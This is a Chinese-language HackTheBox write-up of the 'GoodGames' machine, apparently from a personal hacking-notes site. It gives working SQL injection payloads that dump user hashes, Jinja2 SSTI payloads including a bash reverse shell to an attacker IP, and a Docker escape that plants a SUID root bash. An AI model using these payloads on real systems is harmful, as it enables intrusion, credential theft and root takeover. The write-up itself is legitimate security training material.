> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md).

# GoodGames HackTheBox 解题报告

{% embed url="<https://www.google.com/url?q=https://app.hackthebox.com/machines/446&sa=D&source=calendar&usd=2&usg=AOvVaw2ko0ihHJ569fSXeaF46YAQ>" %}

{% hint style="warning" %}
**技能：**

* 利用基于 UNION 的 SQL 注入
* 破解弱哈希算法
* 密码复用
* 利用 SSTI
* Docker 逃逸基础
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/2531704d5f346a5c97b0379279f90fbe0e9dcc1a" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/611edc02ab855856e46b24fd058d5854f2956c99" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.130 -oG allPorts
```

<figure><img src="/files/5c6cf3b301fd2bb667f6310925aabe999817d882" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将它们复制到剪贴板（80）

<figure><img src="/files/2f4e68cbf5e27c3a6ed0073e0d65582e8f032573" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p80 10.10.11.130 -oN targeted
```

<figure><img src="/files/0f2922a8494379f696cf9dcd43606979eda802a8" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="/files/16d5678f79c5f5cd708d15d8fdec90ddf930e461" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/7b7995398c3ec8a585a7891e8f766505626b439a" alt=""><figcaption></figcaption></figure>

**目录搜索：**

我们使用 Gobuster 在网站上搜索目录：

```bash
gobuster dir -u http://GoodGames.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 9265
```

我们找到了一个注册目录。

<figure><img src="/files/7c0fa15dae3732f20055b828de24834351d26758" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/42f0b3e339b339289906774179586dde0cf00959" alt=""><figcaption></figcaption></figure>

## SQL 注入漏洞：

使用 **Burp Suite**，我们可以拦截请求，从而测试 SQL 注入。

<figure><img src="/files/990caf666ba2460b8f33d67a00d30171469f78c8" alt=""><figcaption></figcaption></figure>

### 基础 SQL 注入：

为了通过一个简单的注入绕过认证，我们使用：

```bash
admin ' or 1=1-- -
```

<figure><img src="/files/9ddae2cc5dd4760e970d9f6718053e824f2207f6" alt=""><figcaption></figcaption></figure>

这种注入会使条件始终为真（`1=1`），从而绕过凭据检查访问管理面板。

<figure><img src="/files/1797ec73e6a18d985519198d829747089f49c59d" alt=""><figcaption></figcaption></figure>

### 基于 UNION 的注入

使用一个 **基于 UNION 的 SQL** 注入，我们尝试确定列数，以便以与数据库兼容的方式构造查询。示例：

```bash
admin' union select 1,2,3,4-- -
```

服务器返回一个响应，提示“登录成功”，表明有 4 列。

<figure><img src="/files/27d36a228db08e8380b652f07245d36e32e4a922" alt=""><figcaption></figcaption></figure>

#### 列出数据库

要列出当前数据库的名称，我们使用：

```bash
admin' union select 1,2,3,database()-- -&password=admin
```

<figure><img src="/files/2390b87f1559486985971c07d3ead8bca4f2a346" alt=""><figcaption></figcaption></figure>

然后，要获取所有可用的数据库：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin
```

{% endcode %}

结果： `information_schema`, `main`

<figure><img src="/files/b4b4b841dca51f2998d5f751c499e3668fc67163" alt=""><figcaption></figcaption></figure>

#### 列出表

在识别出 `main` 数据库后，我们列出该数据库中的表，以探索存储的结构：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -
```

{% endcode %}

找到的表： `blog`, `blog_comments`, `users`.

<figure><img src="/files/20eb2964873220dd929ab6c0281172f7aa8f9648" alt=""><figcaption></figcaption></figure>

列出表的列

对于 `users` 表，我们列出可用的列：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- -
```

{% endcode %}

找到的列： `email`, `id`, `name`, `密码`.

<figure><img src="/files/e56dccdb3457edbd7b55be7f2d8758eeee248423" alt=""><figcaption></figcaption></figure>

#### 用户数据提取

然后我们从 `users` 表：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- -
```

{% endcode %}

用户： `Admin`

邮箱： `admin@goodgames.htb`

密码（哈希）： `2b22337f218b2d82dfc3b6f77e7cb8ec`

<figure><img src="/files/d372538b81280df748a70c5a78bedd5d261ca359" alt=""><figcaption></figcaption></figure>

### 密码解密

你可以使用 **CrackStation** 来解密获得的 MD5 哈希并恢复明文密码。

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/f0a4832f8260d089dc8198832de78bcc44bc6c86" alt=""><figcaption></figcaption></figure>

## SSTI 漏洞：

### 访问子域名

要访问发现的管理子域名，请将其添加到 `/etc/hosts` 文件中的用户进行测试。

<figure><img src="/files/f9490af56fe5d67d72b1f33b29e8a66116bb723a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fe4b8f47707fa9d4d2a643ac27dc2e594b55fb9b" alt=""><figcaption></figcaption></figure>

最后，使用 **admin** 凭据中，你就可以在该子域名上进行身份验证。

`admin:superadministrator`

<figure><img src="/files/3ad627aca11e2e6a95ebc629ae848496eeb45fd8" alt=""><figcaption></figcaption></figure>

在该子域名中，你会找到一个 **设置** 选项卡，你可以在其中编辑管理员用户信息（姓名、出生日期和电话）。

<figure><img src="/files/9932a9982835256480f2ce9770826a3a4d94e07d" alt=""><figcaption></figcaption></figure>

如果你在“姓名”表单中尝试执行 SSTI 攻击，服务器存在漏洞。要用 `{{ }}`来测试这一点，我们试着看看它是否会解析这个计算：

```python
{{1+1}}
```

<figure><img src="/files/81edb2efd7e577873bc39e101fd79f5baa4de7ed" alt=""><figcaption></figcaption></figure>

接下来，我们将执行命令（例如， `id`):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

我们发现他位于 `root` 组。

<figure><img src="/files/c811bca215bd3a01fb4c70edda437855f7813d68" alt=""><figcaption></figcaption></figure>

我们将创建一个反向 shell 以访问服务器

```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }}
```

我们在攻击机上监听 443 端口：

```bash
nc -nlvp 443
```

<figure><img src="/files/c7e9b1a3168387fd7c097bc1e027892fa140e511" alt=""><figcaption></figcaption></figure>

### **标志：user.txt** :)

<figure><img src="/files/a5d6be591afd442ea09a700179f12be017cf99a5" alt=""><figcaption></figcaption></figure>

## 权限提升：

一旦你获得 Linux 服务器的访问权限，以下是在终端中进行操作的命令：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

这将使你工作得更加高效，最重要的是更加舒适。

### Docker 逃逸：

我们观察到该 IP 地址不是主机的地址（主机 IP：10.10.11.130；Docker 容器 IP：172.19.0.2）。

<div data-full-width="true"><figure><img src="/files/88f553290cf48059a7f8c40cc82027592cb8bdcd" alt=""><figcaption></figcaption></figure></div>

我们将手动扫描端口，因为 `nmap` 未安装在网关（172.19.0.1）上：

```bash
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT
&>/dev/null" 2>/dev/null && echo "端口 $PORT 开放"; done
```

我们观察到 22 端口是开放的（内部），因此可以通过 SSH 连接。

```bash
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT&>/dev/null" 2>/dev/null && echo "端口 $PORT 开放"; done
```

<figure><img src="/files/75ad78ac0d748f2c47c6d12bc03ffacf7989a2be" alt=""><figcaption></figcaption></figure>

如果我们尝试使用密码以 root 账户登录 `superadministrator` 我们无法登录，但使用 `augustus` 我们成功获得了一个 shell。

<figure><img src="/files/ae97c5adb5db15249f878085b6cee4e41594da1b" alt=""><figcaption></figcaption></figure>

### Docker 中的 Bash SUID

由于在 Docker 容器中我们是 root，我们将把机器正常主机中的 bash 二进制文件复制到 `augustus`:

```
cp /bin/bash .
```

<figure><img src="/files/654f8ce465fe76e343a2365f27155dec610e8368" alt="" width="556"><figcaption></figcaption></figure>

从 Docker 的 root 中，我们将为这个 bash 文件授权 root 组并设置 SUID 权限，使其以 root 身份运行：

```bash
chown root:root bash
chmod 4777 bash
```

我们返回到 SSH 并看到：

`-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`

<figure><img src="/files/34dfc231c58eaab141a2abb0c201104856ecf174" alt=""><figcaption></figcaption></figure>

### **已获得 root 标志 :)**

`./bash -p`

<figure><img src="/files/cb36dac6f9d2bb89cd2a03aeaf05f0b4ca7e0dbb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7a943c870b18e0e54c611a97f0cda937031b3064" alt="" width="528"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
